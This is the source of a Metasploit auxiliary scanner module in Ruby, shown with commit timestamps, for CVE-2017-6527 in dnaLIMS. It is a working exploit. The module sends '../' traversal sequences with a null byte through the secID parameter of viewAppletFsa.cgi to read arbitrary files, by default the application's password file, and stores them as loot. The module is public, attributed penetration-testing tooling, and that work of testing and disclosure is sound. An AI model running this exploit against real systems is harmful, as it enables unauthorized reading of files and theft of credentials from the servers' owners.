metasploit-framework/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb

78 lines
2.4 KiB
Ruby
Raw Normal View History

2017-03-09 14:46:18 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2017-03-09 14:46:18 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2017-03-20 14:40:43 +00:00
class MetasploitModule < Msf::Auxiliary
2017-03-09 14:46:18 +00:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'DnaLIMS Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in dnaLIMS.
Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible
to read a file outside the www directory.
},
'References' =>
[
2017-03-20 14:40:43 +00:00
['CVE', '2017-6527'],
['US-CERT-VU', '929263'],
2017-03-09 14:46:18 +00:00
['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']
],
'Author' =>
[
2017-03-20 14:40:43 +00:00
'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC
'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC
2017-03-09 14:46:18 +00:00
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Mar 8 2017"
2017-03-09 14:46:18 +00:00
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']),
2017-03-20 14:40:43 +00:00
OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app
OptInt.new('DEPTH', [true, 'The traversal depth', 4])
])
2017-03-09 14:46:18 +00:00
deregister_options('RHOST')
end
def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")
print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({
'uri' => "#{base}/viewAppletFsa.cgi",
2017-03-20 14:40:43 +00:00
'vars_get' => { 'secID' => "#{traverse}#{file}%00",
2017-03-09 14:46:18 +00:00
'Action' => 'blast',
'hidenav' => '1'
}
})
if not res
print_error("No response from server.")
return
end
if res.code != 200
print_error("Server returned a non-200 response (body will not be saved):")
print_line(res.to_s)
return
end
2017-03-20 14:40:43 +00:00
vprint_good(res.body)
2017-03-09 14:46:18 +00:00
p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
print_good("File saved as: #{p}")
end
end